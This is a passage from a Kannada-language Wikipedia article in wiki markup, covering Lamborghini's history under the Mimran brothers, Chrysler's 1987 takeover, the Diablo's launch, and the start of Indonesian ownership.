ಹೊಂದಿದ್ದ ಒಂದು ತೀವ್ರಾಸಕ್ತಿಯ ಕಾರಣದಿಂದಾಗಿ, ಕಂಪನಿಯ [[ಆಸ್ತಿ ನಿರ್ವಾಹಕತ್ವ]]ದ ಅವಧಿಯಲ್ಲಿ ಅದರ ಆಡಳಿತ ನಡೆಸಲು ನೇಮಕಗೊಂಡರು. ಆಡಳಿಥಾತಾವಧಿಯಲ್ಲಿ, ಮೋಟಾರು ಕಾರು ತಯಾರಕ ಕಂಪನಿಯು, ವಿಫಲಗೊಂಡ ಸಿಲೂಯೆಟ್ ಮಾದರಿಯ ಕುರಿತು ಮರುಕೆಲಸ ಮಾಡಿ ಅದನ್ನು [[ಜಾಲ್ಪಾ]] ಎಂಬ ಮಾದರಿಯಾಗಿ ರೂಪಿಸಿತು. ಒಂದು 3.5-ಲೀಟರ್‌ V8ನಿಂದ ಶಕ್ತಿಯನ್ನು ಪಡೆಯುತ್ತಿದ್ದ ಇದನ್ನು ಹಿಂದಿನ ಮಸೆರಾಟಿ ಪರಿಣಿತನಾದ ಗಿಯುಲಿಯೊ ಆಲ್ಫೇರಿ ಎಂಬಾತ ಮಾರ್ಪಾಡು ಮಾಡಿದ್ದ. ಸಿಲೂಯೆಟ್ ಮಾದರಿಗಿಂತ ಹೆಚ್ಚು ಯಶಸ್ವಿಯಾದ ಜಾಲ್ಪಾ ಮಾದರಿಯು, ಕೌಂಟಾಕ್‌ನ ಒಂದು ಹೆಚ್ಚು ಸಮರ್ಥವಾಗಿ ನಿರ್ವಹಿಸಬಹುದಾದ, ಬಳಸಬಹುದಾದ ಆವೃತ್ತಿಯಾಗಿರುವುದರ ಗುರಿಯನ್ನು ಸಾಧಿಸುವಲ್ಲಿ ಸನಿಹಕ್ಕೆ ಬಂದಿತು.<ref name="Lawrencejalpa">ಲಾರೆನ್ಸ್‌, "ಜಾಲ್ಪಾ".</ref> [[ಕೌಂಟಾಕ್‌]] ಮಾದರಿಯನ್ನೂ ಸಹ ಪರಿಷ್ಕರಿಸಲಾಯಿತು. 1982ರಲ್ಲಿ LP500 ಮಾದರಿಯು ಬಿಡುಗಡೆಯಾಗುವುದರೊಂದಿಗೆ U.S.ನಲ್ಲಿ ಮಾರಾಟವಾಗಲು ಇದಕ್ಕೆ ಅಂತಿಮವಾಗಿ ಅವಕಾಶ ಸಿಕ್ಕಂತಾಯಿತು.<ref name="Lawrencelp400">ಲಾರೆನ್ಸ್‌, "ಕೌಂಟಾಕ್‌ LP500/LP500 ಕ್ವಾಟ್ರೋವಾಲ್ವೋಲ್‌".</ref> 1984ರ ಹೊತ್ತಿಗೆ, ಕಂಪನಿಯು ಅಧಿಕೃತವಾಗಿ ಸ್ವಿಸ್‌ ನಿಯಂತ್ರಣದ ಕೈಗಳಲ್ಲಿತ್ತು. ಮುಗ್ಗರಿಸುತ್ತಾ ನಡೆಯುತ್ತಿರುವ ಮೋಟಾರು ಕಾರು ತಯಾರಕ ಕಂಪನಿಗೆ ಬೃಹತ್‌ ಮೊತ್ತದ ಬಂಡವಾಳವನ್ನು ತೊಡಗಿಸುವ ಮೂಲಕ, ಮಿಮ್ರಾನ್‌ ಸೋದರರು ಹೊಸ ರೂಪಕೊಡುವ ಒಂದು ವ್ಯಾಪಕವಾದ ಕಾರ್ಯಕ್ರಮವನ್ನು ಪ್ರಾರಂಭಿಸಿದರು. ಸ್ಯಾಂಟ್‌’ಅಗಾಟಾ ನಿರ್ಮಾಣ ಸೌಕರ್ಯಗಳು ಪುನಃ ಸುವ್ಯವಸ್ಥೆಗೆ ಬಂದವು, ಮತ್ತು ಎಂಜಿನಿಯರಿಂಗ್‌ ಹಾಗೂ ವಿನ್ಯಾಸಕ್ಕೆ ಸಂಬಂಧಿಸಿದ ಹೊಸ ಪ್ರತಿಭೆಯನ್ನು ಕಂಡುಹಿಡಿಯುವುದಕ್ಕಾಗಿ ಒಂದು ವಿಶ್ವವ್ಯಾಪೀ ನೇಮಕಾತಿ ಪ್ರಚಾರವನ್ನು ಮುನ್ಸೂಚನೆಯಾಗಿ ಆರಂಭಿಸಲಾಯಿತು.<ref name="fundinguniverse" /> [[File:Lamborghini LM-002.JPG|thumb|left|LM002 ಕ್ರೀಡಾ-ಬಳಕೆಯ ವಾಹನವು ಮಿಮ್ರಾನ್‌ ಮಾಲೀಕತ್ವದ ಅಡಿಯಲ್ಲಿ ಪರಿಚಯಿಸಲ್ಪಟ್ಟಿತು]] ಹೂಡಿಕೆಯ ತತ್‌ಕ್ಷಣದ ಫಲಿತಾಂಶಗಳು ಉತ್ತಮವಾಗಿದ್ದವು. ಒಂದು ಶಕ್ತಿಶಾಲಿ 455 bhpಯನ್ನು ಉತ್ಪಾದಿಸುತ್ತಿರುವ ಕೌಂಟಾಕ್‌ ''"ಕ್ವಾಟ್ರೋವಾಲ್ವ್‌"'' ಒಂದನ್ನು 1984ರಲ್ಲಿ ಬಿಡುಗಡೆ ಮಾಡಲಾಯಿತು; ಅಡ್ಡಾದಿಡ್ಡಿಯಾಗಿ ನಡೆಯುತ್ತಿದ್ದ [[ಚೀತಾ ಯೋಜನೆ]]ಯು [[ಲಂಬೋರ್ಘಿನಿ LM002]] ಎಂಬ [[ಕ್ರೀಡಾಬಳಕೆಯ ವಾಹನ]]ವು 1986ರಲ್ಲಿ ಬಿಡುಗಡೆಯಾಗುವುದಕ್ಕೆ ಕಾರಣವಾಯಿತು. ಆದಾಗ್ಯೂ, ಮಿಮ್ರಾನ್‌ ಸೋದರರ ಪ್ರಯತ್ನಗಳ ಹೊರತಾಗಿಯೂ, ಕಂಪನಿಯನ್ನು ಪುನರುಜ್ಜೀವನಗೊಳಿಸಲು ಹೂಡಿಕೆಗಳು ಸಾಲದು ಎನಿಸಿತು. ಓರ್ವ ಬೃಹತ್‌, ಸ್ಥಿರ ಹಣಕಾಸು ಪಾಲುದಾರನನ್ನು ಹುಡುಕುತ್ತಿದ್ದ ಈ ಸೋದರರು, [[ಅಮೆರಿಕಾ]]ದ "ಮೂರು ದೊಡ್ಡ" ಮೋಟಾರು ಕಾರು ತಯಾರಕ ಕಂಪನಿಗಳಲ್ಲಿ ಒಂದಾದ [[ಕ್ರಿಸ್ಲರ್‌ ಕಾರ್ಪೊರೇಷನ್‌]]ನ ಪ್ರತಿನಿಧಿಗಳನ್ನು ಭೇಟಿಮಾಡುವಲ್ಲಿ ಸಫಲರಾದರು.<ref name="fundinguniverse" /> 1987ರ ಏಪ್ರಿಲ್‌ನಲ್ಲಿ, ಕ್ರಿಸ್ಲರ್‌ ಅಧ್ಯಕ್ಷ [[ಲೀ ಲಕೋಕಾ]]ನ ಮುಂಚೂಣಿಯ ಸ್ವಾಧೀನವೊಂದರಲ್ಲಿ, ಮಿಮ್ರಾನ್‌ ಸೋದರರಿಗೆ 33 ದಶಲಕ್ಷ [[$]]<ref name="chryslerpurchaseprice" group="Notes">ಮುಂದಿನ ಅಧ್ಯಾಯದಲ್ಲಿ, ಜೊಲಿಫೆ ಹೀಗೆ ಹೇಳುತ್ತಾನೆ, "ಕ್ರಿಸ್ಲರ್‌ ಕಾರ್ಪೊರೇಷನ್‌ನ ಹೋರಾಡುವ ಗೂಳಿಯ $25.2m ಸ್ವಾಧೀನವು..." $25 ದಶಲಕ್ಷಕ್ಕೆ ಹತ್ತಿರವಿರುವ ಅಂಕಿಯೊಂದಿಗೆ ಇತರ ಮೂಲಗಳು ಸಹಮತ ಸೂಚಿಸುತ್ತವೆ.</ref> ಹಣವನ್ನು ಪಾವತಿಸಿದ ನಂತರ ಇಟಲಿಯ ಮೋಟಾರು ಕಾರು ತಯಾರಕ ಕಂಪನಿಯ ನಿಯಂತ್ರಣವನ್ನು ಅಮೆರಿಕಾದ ಕಂಪನಿಯು ತನ್ನ ಕೈಗೆತ್ತಿಕೊಂಡಿತು.<ref name="jolliffe82" /> ಜೊಲಿಫೆಯ ಪ್ರಕಾರ, ಲಂಬೋರ್ಘಿನಿ ಕಂಪನಿಯಿಂದ ಎಂದಾದರೂ ಹಣವನ್ನು ಗಳಿಸಿದ ಮಾಲೀಕರು ಯಾರಾದರೂ ಇದ್ದರೆ ಅದು ಮಿಮ್ರಾನ್‌ ಸೋದರರು ಮಾತ್ರವೇ ಆಗಿದ್ದರು. ಆರು ವರ್ಷಗಳಿಗೆ ಮುಂಚೆ ಅದನ್ನು ಖರೀದಿಸುವಾಗ ತಾವು ಪಾವತಿಸಿದ್ದ ಡಾಲರ್‌ ಮೊತ್ತದ ಅನೇಕ ಪಟ್ಟು ಹೆಚ್ಚಿನ ಮೊತ್ತಕ್ಕೆ ಮಾರುವ ಮೂಲಕ ಅವರು ಹಣಗಳಿಸಿದ್ದರು.<ref name="jolliffe82">ಜೊಲಿಫೆ, 82.</ref> ===1987-1994: ಕ್ರಿಸ್ಲರ್‌ನಿಂದಾದ ಸ್ವಾಧೀನ=== ಕ್ರಿಸ್ಲರ್‌ ಕಂಪನಿಯು ಹೆಚ್ಚೂಕಮ್ಮಿ ದಿವಾಳಿತನಕ್ಕೆ ಸಿಲುಕಿಕೊಂಡ ನಂತರ, ಅದು ಹೆಚ್ಚೂಕಮ್ಮಿ ಒಂದು ಪವಾಡಸದೃಶವಾದ ರೀತಿಯಲ್ಲಿ ಬೇರೆದಿಕ್ಕಿಗೆ ತಿರುಗುವಲ್ಲಿ ಪ್ರಧಾನಪಾತ್ರವನ್ನು ಈ ಹಿಂದೆ ವಹಿಸಿದ್ದ ಲಕೋಕಾ, ನಿರ್ದೇಶಕರ ಮಂಡಳಿಯಿಂದ ಯಾವುದೇ ಸವಾಲುಗಳು ಬರದಿದ್ದ ಹಿನ್ನೆಲೆಯಲ್ಲಿ ಲಂಬೋರ್ಘಿನಿಯನ್ನು ಖರೀದಿಸುವ ತನ್ನ ತೀರ್ಮಾನವನ್ನು ಕಾರ್ಯರೂಪಕ್ಕೆ ತಂದ. ಕ್ರಿಸ್ಲರ್‌ ಕಂಪನಿಯ ಜನರನ್ನು ಲಂಬೋರ್ಘಿನಿಯ ಮಂಡಳಿಗೆ ನೇಮಿಸಲಾಯಿತಾದರೂ, ಕಂಪನಿಯ ಅನೇಕ ಪ್ರಮುಖ ಸದಸ್ಯರು ವ್ಯವಸ್ಥಾಪನೆಯ ಸ್ಥಾನಗಳಲ್ಲೇ ಊಳಿದುಕೊಂಡರು. ಆಲ್ಫೇರಿ, ಮರ್ಮಿರೋಲಿ, ವೆಂಟುರೆಲ್ಲಿ, ಮತ್ತು ಸೆಕ್ಕಾರನಿ ಆ ಸದಸ್ಯರಲ್ಲಿ ಸೇರಿದ್ದರು. ಉಬಾಲ್ದೊ ಸ್ಗಾರ್ಜಿಯು ಮಾರಾಟದ ವಿಭಾಗದ ಮುಖ್ಯಸ್ಥನಾಗಿ ತನ್ನ ಪಾತ್ರವನ್ನು ಮುಂದುವರೆಸಿದ.<ref name="jolliffe86">ಜೊಲಿಫೆ, 86.</ref> ಕಂಪನಿಯ ಪುನರುಜ್ಜೀವನದ ಪ್ರಾರಂಭಿಕ ಹಂತವಾಗಿ, ಲಂಬೋರ್ಘಿನಿಯು 50 ದಶಲಕ್ಷ $ನಷ್ಟು ನಗದು ಹಣವನ್ನು ಸ್ವೀಕರಿಸಿತು.<ref name="fundinguniverse" /> ಮೋಟಾರು ಕಾರು ತಯಾರಕಯ ಹೊಸ ಮಾಲೀಕನು "ಹೆಚ್ಚುವರಿ ಮೊಬಲಗು" ಹಣ ದೊರೆಯುವ ಕ್ರೀಡಾಕಾರುಗಳ ಮಾರುಕಟ್ಟೆಯನ್ನು ಪ್ರವೇಶಿಸಲು ಆಸಕ್ತನಾಗಿದ್ದ. ಈ ಮಾರುಕಟ್ಟೆಯು ವಿಶ್ವಾದ್ಯಂತ ಪ್ರತಿವರ್ಷವೂ ಸುಮಾರು 5,000 ಕಾರುಗಳಷ್ಟು ಸಾಮರ್ಥ್ಯವನ್ನು ಹೊಂದಿದೆ ಎಂದು ಅಂದಾಜಿಸಲ್ಪಟ್ಟಿತ್ತು. 1991ರ ಹೊತ್ತಿಗೆ,<ref name="jolliffe86" /> ಫೆರಾರಿ 328 ಕಾರಿನೊಂದಿಗೆ ಸ್ಪರ್ಧಿಸಬಲ್ಲ ಕಾರೊಂದನ್ನು ತಯಾರಿಸಲು ಕ್ರಿಸ್ಲರ್‌ ಗುರಿಯಿರಿಸಿತು ಮತ್ತು ಅಮೆರಿಕಾದ ಮಾರುಕಟ್ಟೆಗಾಗಿ ನಿಯೋಜಿಸಲಾಗಿರುವ ಕ್ರಿಸ್ಲರ್‌ ಕಾರೊಂದರಲ್ಲಿ ಬಳಸಬಹುದಾದ ಎಂಜಿನ್‌ ಒಂದನ್ನು ಇಟಲಿಯನ್ನರು ತಯಾರಿಸಬೇಕು ಎಂಬುದು ಅದರ ಬಯಕೆಯಾಗಿತ್ತು. ವಾಹನಕ್ರೀಡಾ ವಲಯಕ್ಕೆ ಕಂಪನಿಯನ್ನು ಅಂತಿಮವಾಗಿ ಕೊಂಡೊಯ್ಯಲು ತೀರ್ಮಾನಿಸಲಾಯಿತು; ಈ ಪ್ರಯತ್ನವು ಲಂಬೋರ್ಘಿನಿ ಎಂಜಿನಿಯರಿಂಗ್‌ S.p.A. ಎಂದು ಹೆಸರಾಯಿತು, ಮತ್ತು [[ಗ್ರಾಂಡ್‌ ಪ್ರಿಕ್ಸ್‌]] ತಂಡಗಳಿಗಾಗಿ ಎಂಜಿನುಗಳನ್ನು ಅಭಿವೃದ್ಧಿಪಡಿಸುವುದು ಇದರ ಪಾಲಿಗೆ ಬಂತು. ಈ ಹೊಸ ವಿಭಾಗವು [[ಮೊದೆನಾ]]ದಲ್ಲಿ ನೆಲೆಗೊಂಡಿತ್ತು, ಮತ್ತು ಇದಕ್ಕಾಗಿ 5 ದಶಲಕ್ಷ $ನಷ್ಟು ಆರಂಭಿಕ ಹಣವನ್ನು ನೀಡಲಾಯಿತು.<ref name="jolliffe88">ಜೊಲಿಫೆ, 88.</ref> ಡೇನಿಯೆಲ್‌ ಔಡೆಟೋ ವ್ಯವಸ್ಥಾಪಕನಾಗಿ ನೇಮಕಗೊಂಡರೆ, ಎಮಿಲಿ ನೊವಾರೊ ಅಧ್ಯಕ್ಷನಾದ; ಅವರಿಬ್ಬರೂ ಮೊದಲು ನೇಮಿಸಿಕೊಂಡಿದ್ದು ಮೌರೊ ಫಾರ್ಗೀರಿ ಎಂಬಾತನನ್ನು. ಈತ ವಾಹನಕ್ರೀಡಾ ಪ್ರಪಂಚದಲ್ಲಿ ಒಂದು ತಾರಾಗಿರಿಯ ಪ್ರಸಿದ್ಧಿಯನ್ನು ಪಡೆದಿದ್ದುದರ ಜೊತೆಗೆ, ಹಿಂದೆ ಫೆರಾರಿಯ ಫಾರ್ಮುಲಾ 1 ತಂಡವನ್ನು ನಿರ್ವಹಿಸಿದ್ದ ಅನುಭವವನ್ನೂ ಹೊಂದಿದ್ದ. 3.5-ಲೀಟರ್‌ V12 ಎಂಜಿನ್‌ ಒಂದರ ವಿನ್ಯಾಸಕಾರ್ಯಕ್ಕೆ ಫಾರ್ಗೀರಿ ಏರ್ಪಾಡುಮಾಡಿದ. ಇದು ರಸ್ತೆಯ-ಕಾರಿನ ಎಂಜಿನ್‌ ವಿನ್ಯಾಸವನ್ನು ಅವಲಂಬಿಸಿರದ ವಿನ್ಯಾಸವಾಗಿದ್ದು, ಸ್ಯಾಂಟ್‌’ಅಗಾಟಾದಲ್ಲಿ ಇದನ್ನು ಕೈಗೊಳ್ಳಲಾಯಿತು.<ref name="jolliffe90">ಜೊಲಿಫೆ, 90.</ref> [[File:Lambo V12 F1.JPG|thumb|right|ಲಂಬೋರ್ಘಿನಿಯ ಫಾರ್ಮುಲಾ 1 ಸಾಹಸಕ್ಕಾಗಿರುವ ಒಂದು V12 ಎಂಜಿನನ್ನು ಫಾರ್ಗೀರಿ ವಿನ್ಯಾಸಗೊಳಿಸಿದ]] ಆ ಸಮಯದಲ್ಲಿ, ಕೌಂಟಾಕ್‌ನ ತರುವಾಯದ ಒಂದು ಮಾದರಿಯಾದ [[ಡಯಾಬ್ಲೊ]] ಕುರಿತಾದ ಕಾರ್ಯದಲ್ಲಿ ಲಂಬೋರ್ಘಿನಿಯು ತನ್ನನ್ನು ತೊಡಗಿಸಿಕೊಂಡಿತ್ತು. ಈ ಕಾರಿನ ಮೂಲ ವಿನ್ಯಾಸವನ್ನು [[ಮಾರ್ಸೆಲೊ ಗ್ಯಾಂಡಿನಿ]] ರಚಿಸಿದ್ದ. ವಾಹನ ಚೌಕಟ್ಟು ನಿರ್ಮಾಣದ ಕಂಪನಿಯಾದ [[ಬೆರ್ಟೋನ್‌]]ಗಾಗಿ ಕೆಲಸ ಮಾಡುತ್ತಿರುವಾಗ, ಮಿಯುರಾ ಮತ್ತು ಕೌಂಟಾಕ್‌ ಮಾದರಿಗಳ ಬಾಹ್ಯ ಚಹರೆಗಳನ್ನು ರಚಿಸಿದ ಪರಿಣಿತ ಈತನೇ ಆಗಿದ್ದ. ಆದಾಗ್ಯೂ, ಗ್ಯಾಂಡಿನಿಯ ಕೆಲಸದಿಂದ ಅಷ್ಟೇನೂ ಪ್ರಭಾವಿತರಾಗದ ಕ್ರಿಸ್ಲರ್‌ ಕಂಪನಿಯ ಕಾರ್ಯನಿರ್ವಾಹಕರು, ಕಾರಿನ ಹೊರರೂಪದ ಮೂರನೇ ವ್ಯಾಪಕವಾದ ಮರುವಿನ್ಯಾಸವೊಂದನ್ನು ಕಾರ್ಯರೂಪಕ್ಕೆ ತರಲು ಅಮೆರಿಕಾದ ಕಾರು-ತಯಾರಕ ಕಂಪನಿಯ ಸ್ವಂತದ ವಿನ್ಯಾಸ ತಂಡವನ್ನು ನಿಯೋಜಿಸಿದರು. ಗ್ಯಾಂಡಿನಿಯ ಮೂಲ ವಿನ್ಯಾಸದ ಸರಕುಮುದ್ರೆಯ ಚೂಪಾದ ಅಂಚುಗಳು ಹಾಗೂ ಮೂಲೆಗಳನ್ನು ನಯಗೊಳಿಸಿ ಓರೆಕೋರೆಗಳನ್ನು ಸರಿಪಡಿಸಲಾಯಿತು; ಸಂಪೂರ್ಣಗೊಂಡ ಉತ್ಪನ್ನದೊಂದಿಗೆ ಇಟಲಿಯ ಮೂಲದ ವಿನ್ಯಾಸಕನು ಭರ್ಜರಿಯಾಗಿ ಪ್ರಭಾವಿತನಾಗದೆಯೇ ಉಳಿಯಬೇಕಾಯಿತು.<ref name="lambocarsdia">{{Cite web |url=http://www.lambocars.com/pdf/diablo.pdf |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2010-03-03 |archive-date=2011-05-26 |archive-url=https://web.archive.org/web/20110526101919/http://www.lambocars.com/pdf/diablo.pdf |url-status=dead }}</ref><ref>{{cite web|url=http://www.classicandperformancecar.com/features/octane_features/234875/lamborghini_diablo_60vt.html |title=Lamborghini Diablo 6.0VT |publisher=Classicandperformancecar.com |date=2009-03-30 |accessdate=2009-08-16}}</ref> 1988ರ ಸೆಪ್ಟೆಂಬರ್‌ನಲ್ಲಿ, ಲಂಬೋರ್ಘಿನಿಯು ತನ್ನ 25ನೇ ವಾರ್ಷಿಕೋತ್ಸವವನ್ನು ಆಚರಿಸಿಕೊಳ್ಳುವ ಪೂರ್ವನಿರ್ಧಾರಿತ ಸಮಯದಲ್ಲೇ ಡಯಾಬ್ಲೊವನ್ನು ಬಿಡುಗಡೆಮಾಡಬೇಕೆಂದು ಆಶಿಸಲಾಗಿತ್ತು. ಲಕ್ಷ್ಯವು ತಪ್ಪಲಿದೆ ಎಂಬ ಸ್ಪಷ್ಟ ಸೂಚನೆಯು ಒಮ್ಮೆಗೆ ಸಿಕ್ಕ ನಂತರ, ಅದರ ಬದಲಿಗೆ ಕೌಂಟಾಕ್‌ನ ಒಂದು ಅಂತಿಮ ಆವೃತ್ತಿಯ ಉತ್ಪಾದನೆಗೆ ತೀವ್ರವಾದ ಒತ್ತನ್ನು ನೀಡಲಾಯಿತು.<ref name="jolliffe92">ಜೊಲಿಫೆ, 92.</ref> ವಾರ್ಷಿಕೋತ್ಸವದ ಕೌಂಟಾಕ್‌ ಮಾದರಿಯನ್ನು ನಿರ್ಮಿಸಬೇಕಾದ ಕಾರಿನ ಅಂತಿಮ ಆವೃತ್ತಿ ಎಂಬುದಾಗಿ ನಂತರದಲ್ಲಿ ಘೋಷಿಸಲಾಯಿತು.<ref name="jolliffe94">ಜೊಲಿಫೆ, 94.</ref> 1987ರ ಅಂತ್ಯದ ವೇಳೆಗೆ, ಎಮಿಲಿ ನೊವಾರೊ ತನ್ನ ಸುದೀರ್ಘ ಚೇತರಿಕೆಯಿಂದ ಮರಳಿದ್ದ, ಮತ್ತು ಡಯಾಬ್ಲೊ ಮಾದರಿಯ ಅಭಿವೃದ್ಧಿಯಲ್ಲಿ ಹೆಚ್ಚುತ್ತಲೇ ಇದ್ದ ಕ್ರಿಸ್ಲರ್‌ನ ಹಸ್ತಕ್ಷೇಪವನ್ನು ತಡೆಯಲು ತನ್ನ ಅಧಿಕಾರವನ್ನು ಆತ ಬಳಸಿದ. ಹೋರಾಟದ ಹೋರಿಯ ತೀವ್ರಯಾತನೆಗೆ ಮತ್ತಷ್ಟು ಉಪ್ಪುಸುರಿಯುವಂತೆ, [[ಫ್ರಾಂಕ್‌ಫರ್ಟ್‌ ವಾಹನ ಪ್ರದರ್ಶನ]]ದಲ್ಲಿ ನಾಲ್ಕು-ಬಾಗಿಲುಗಳ ಒಂದು ಹೊಸಕಲ್ಪನೆಯ ಕಾರನ್ನು ಕ್ರಿಸ್ಲರ್‌ ಪ್ರದರ್ಶಿಸಿತು. 'ಲಂಬೋರ್ಘಿನಿಯಿಂದ ಶಕ್ತಿಪಡೆದ ಕ್ರಿಸ್ಲರ್‌' ಎಂಬ ಸೂಚಕವನ್ನು ಇದರೊಂದಿಗೆ ನೀಡಲಾಗಿತ್ತು. [[ಪೋರ್ಟೊಫಿನೊ]] ಮಾದರಿಯನ್ನು ವಾಹನವಲಯದ ಪತ್ರಿಕೆಗಳು ಹಾಗೂ ಲಂಬೋರ್ಘಿನಿಯ ನೌಕರರು ಅಷ್ಟಾಗಿ ಸ್ವೀಕರಿಸಲಿಲ್ಲವಾದರೂ,<ref name="jolliffe95">ಜೊಲಿಫೆ, 95.</ref> [[ಡಾಡ್ಜ್‌ ಇಂಟ್ರೆಪಿಡ್‌]] ಸೆಡಾನ್‌ ಕಾರಿಗಾಗಿ ಒಂದು ಪ್ರೇರಣೆಯಾಗಿ ಅದು ಮಾರ್ಪಟ್ಟಿತು. [[ಮಿನಿವ್ಯಾನ್‌]] ಒಂದನ್ನು ಹೋಲುವ [[ಬೆರ್ಟೋನ್‌ ಜೆನೆಸಿಸ್‌]] ಎಂಬ ಒಂದು ''ಕ್ವಾಟ್ರೋವಾಲ್ವೋಲ್‌'' V12-ಶಕ್ತಿಪಡೆದ, ಲಂಬೋರ್ಘಿನಿ-ಬ್ರಾಂಡ್‌ ಪಡೆದ ವಾಹನವು ಟ್ಯೂರಿನ್‌ ವಾಹನದ ಪ್ರದರ್ಶನದಲ್ಲಿ ಪಾದಾರ್ಪಣೆ ಮಾಡಿತು. ಸಾರ್ವಜನಿಕರ ಪ್ರತಿಕ್ರಿಯೆಗಳನ್ನು ಅಳೆಯುವ ಉದ್ದೇಶವನ್ನು ಹೊಂದಿದ್ದ ಈ ಅಸಾಮಾನ್ಯವಾದ ಕಾರನ್ನು ಪರಿತ್ಯಜಿಸಲಾಯಿತು, ಹಾಗೂ ಲಂಬೋರ್ಘಿನಿ ಮತ್ತು ಕ್ರಿಸ್ಲರ್‌ ಈ ಎರಡರ ಉತ್ಪನ್ನ ಶ್ರೇಣಿಗೆ ಹೊಂದದ ಒಂದು ಕಾರು ಎಂದು ಇದು ಕರೆಸಿಕೊಂಡಿತು.<ref name="jolliffe95" /> ಜಾಲ್ಪಾವನ್ನು ಪಲ್ಲಟಗೊಳಿಸುವ ಹೊಸದಾದ "ಬೇಬಿ ಲ್ಯಾಂಬೊ" ಮಾದರಿಯ ಪಕ್ಕಪಕ್ಕದಲ್ಲಿಯೇ ಉತ್ಪಾದನಾ ವಿಧಾನವನ್ನು ನಿಯೋಜಿಸಲಾಗಿತ್ತು. ಲಂಬೋರ್ಘಿನಿಯ ಶ್ರೇಣಿಯಲ್ಲಿನ ಡಯಾಬ್ಲೊನ ಕೆಳಗೆ ಆಗ ಇದ್ದ ಖಾಲಿಜಾಗವನ್ನು ವಶಪಡಿಸಿಕೊಳ್ಳುವ ಪ್ರಯತ್ನ ಇದಾಗಿತ್ತು. ಪ್ರತಿವರ್ಷವೂ 2,000ಕ್ಕಿಂತ ಹೆಚ್ಚು ಕಾರುಗಳನ್ನು ಮಾರುವ ನಿರೀಕ್ಷೆಯೊಂದಿಗೆ, ಈ ಯೋಜನೆಗೆ 25 ದಶಲಕ್ಷ $ನಷ್ಟು ಹಣವನ್ನು ಮಂಜೂರುಮಾಡಲಾಯಿತು.<ref name="jolliffe95" /> [[File:DiabloSE 30.jpg|left|thumb|ಡಯಾಬ್ಲೊ ಕಾರು 1990ರಲ್ಲಿ ಬಿಡುಗಡೆಯಾದಾಗ, ಅದು ಉತ್ಪಾದನೆಯಲ್ಲಿದ್ದ ಅತ್ಯಂತ ವೇಗದ ಕಾರಾಗಿತ್ತು]] 1990ರ ಜನವರಿ 21ರಂದು [[ಮಾಂಟೆ ಕಾರ್ಲೋ]]ನಲ್ಲಿನ [[ಹೊಟೇಲ್‌ ಡಿ ಪ್ಯಾರಿಸ್‌]]ನಲ್ಲಿ ಆಯೋಜಿಸಲಾಗಿದ್ದ ಕಾರ್ಯಕ್ರಮವೊಂದರಲ್ಲಿ ಸಾರ್ವಜನಿಕರಿಗೆ ಡಯಾಬ್ಲೊವನ್ನು ಬಿಡುಗಡೆ ಮಾಡಲಾಯಿತು. ಆ ಸಮಯದಲ್ಲಿ ಡಯಾಬ್ಲೊ ಮಾದರಿಯು ತಯಾರಿಕೆಯಲ್ಲಿ ವಿಶ್ವದಲ್ಲಿನ ಅತ್ಯಂತ ವೇಗವಾದ ಕಾರಾಗಿತ್ತು, ಮತ್ತು ಮಾರಾಟವು ಎಷ್ಟೊಂದು ಬಿರುಸಾಗಿತ್ತೆಂದರೆ ಲಂಬೋರ್ಘಿನಿಯು ಲಾಭಗಳಿಸಲು ಪ್ರಾರಂಭಿಸಿತು. U.S.ನಲ್ಲಿನ ಕಂಪನಿಯ ಅಸ್ತಿತ್ವವು ಬಿಡಿಬಿಡಿಯಾಗಿ ಸಂಯೋಜಿಸಲ್ಪಟ್ಟ ಹಾಗೂ ಅವ್ಯವಸ್ಥೆಯ ಖಾಸಗಿ ವಿತರಣೆಗಾರ ಜಾಲವನ್ನು ಹಿಂದೆ ಒಳಗೊಂಡಿತ್ತು; ಸಂಪೂರ್ಣ ಸೇವೆ ಮತ್ತು ಬಿಡಿಭಾಗಗಳ ಬೆಂಬಲದೊಂದಿಗಿನ ಕ್ರಿಸ್ಲರ್‌ ಒಂದು ಸಮರ್ಥ ಅಧಿಕಾರ ವ್ಯವಸ್ಥೆಯನ್ನು ಸ್ಥಾಪಿಸಿತು. [[ಯಂತ್ರದೋಣಿ]]ಯ ಪಂದ್ಯಕ್ಕಾಗಿ ತನ್ನ V12 ಎಂಜಿನ್‌ಗಳನ್ನು ಅಭಿವೃದ್ಧಿಪಡಿಸಲು ಕೂಡಾ ಕಂಪನಿಯು ಪ್ರಾರಂಭಿಸಿತು. ಹಿಂದೆ ದಾಖಲಾಗಿದ್ದ 1 ದಶಲಕ್ಷ $ನಷ್ಟು ಗುರುತನ್ನು ದಾಟಿ 1991ರಲ್ಲಿ ಲಾಭಗಳಿಕೆಗಳು ಹೆಚ್ಚಾದವು, ಮತ್ತು ಲಂಬೋರ್ಘಿನಿಯು ಒಂದು ಗುಣಾತ್ಮಕ ಯುಗವನ್ನು ಆನಂದಿಸಿತು.<ref name="fundinguniverse" /> ===1994-1997: ಇಂಡೋನೇಷಿಯಾದ ಮಾಲೀಕತ್ವ=== [[File:VectorW8.jpg|thumb|right|ಸೂಪರ್‌ಕಾರು ತಯಾರಕನಾದ ವೆಕ್ಟರ್‌ (ಒಂದು ವೆಕ್ಟರ್‌ W8ನ್ನು ಇಲ್ಲಿ ಚಿತ್ರಿಸಲಾಗಿದೆ) ಕಂಪನಿಯನ್ನೂ ಸಹ ಸೆಟಿಯಾವಾನ್‌ ಜೋಡಿಯು ಹೊಂದಿದ್ದ, ಮತ್ತು ಲಂಬೋರ್ಘಿನಿ ಹಾಗೂ ವೆಕ್ಟರ್‌ ಕಂಪನಿಗಳು ಒಟ್ಟಾಗಿ ಸೇರಿಕೊಂಡರೆ ಅವೆರಡಕ್ಕೂ ತುಂಬಾ ಪ್ರಯೋಜನವಾಗುತ್ತದೆ ಎಂದು ನಂಬಿದ್ದ]] ಅದೃಷ್ಟದಲ್ಲಿನ ಮೇಲೇರಿಕೆಯು ಕೇವಲ ಸಂಕ್ಷಿಪ್ತ ಅವಧಿಯದಾಗಿತ್ತು; 239,000 $ನಷ್ಟು ಹೂಡಿಕೆಯಾಗಿದ್ದ ಡಯಾಬ್ಲೊ ಮಾದರಿಯು ಅಮೆರಿಕಾದ ಉತ್ಸಾಹಿಗಳಿಗೆ ಅಂತಿಮವಾಗಿ ಕೈಗೆಟುಕುತ್ತಿಲ್ಲ ಏಂದು ಸಾಬೀತಾದಾಗ 1992ರಲ್ಲಿ ಮಾರಾಟವು ಕುಸಿಯಿತು. ಲಂಬೋರ್ಘಿನಿಯು ಹಣವನ್ನು ಕಳೆದುಕೊಳ್ಳುತ್ತಿರುವುದನ್ನು 